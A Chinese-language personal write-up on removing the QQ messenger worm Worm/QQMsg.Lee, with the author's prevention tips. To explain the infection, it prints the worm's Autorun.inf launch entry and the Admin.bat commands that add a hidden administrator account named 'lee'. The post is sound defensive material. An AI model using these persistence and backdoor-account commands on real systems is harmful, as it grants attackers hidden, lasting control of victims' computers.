作者遭遇一款採用特殊自啟動機制的病毒——QQ樂(Worm/QQMsg.Lee)，經歷多波折才徹底清除。現分享完整查殺過程與防範心得，供參考。

病毒發現與初步處理

• QQ收到好友發送含連結的異常訊息，懷疑對方中毒。
• 金山網鏢防火牆發現可疑進程 System32.exe（偽裝系統檔案），結束進程並刪除C盤根目錄下同名檔案。
• 檢查註冊表Run鍵值、Win.ini、System.ini均無自啟動項，但發現多出管理員帳號「Lee」，刪除後又自動恢復，病毒進程再現。

尋找毒根：Autorun.inf與批次檔

搜尋檔案內容「System32.exe」，發現各磁碟根目錄下均有 Autorun.inf：

[autorun]
open=System32.exe

原理同自動播放光碟：雙擊盤符即觸發病毒執行，比註冊表自啟動更隱蔽。同步搜尋「Lee」關鍵字，發現 Admin.bat：

net user lee abcd1234!@# /add
net localgroup administrators lee /add

病毒企圖建立擁有管理員權限的後門帳號。

徹底清除步驟

1. 刪除所有磁碟根目錄下的 Autorun.inf、System32.exe、System32dll.dll。
2. 刪除 Admin.bat。
3. 刪除惡意建立的「Lee」管理員帳號。
4. 掃描全盤確認無殘留。

IM病毒防範三大技巧

1. 多層防護：開啟防毒軟體、網路防火牆，並啟用針對QQ/MSN/ICQ的嵌入式防火牆（如金山毒霸「騰訊QQ、MSN Messenger、ICQ安全助手」），防火牆安全等級設中等以上。
2. 不輕信連結：切勿隨意點擊QQ/MSN中不明連結，病毒常偽裝誘惑文字（如「QQ小尾巴」、「相片」、「視頻」）誘導點擊。
3. 及時修補漏洞：病毒常利用IE/iFrame等漏洞無聲植入，保持系統與瀏覽器最新補丁至關重要。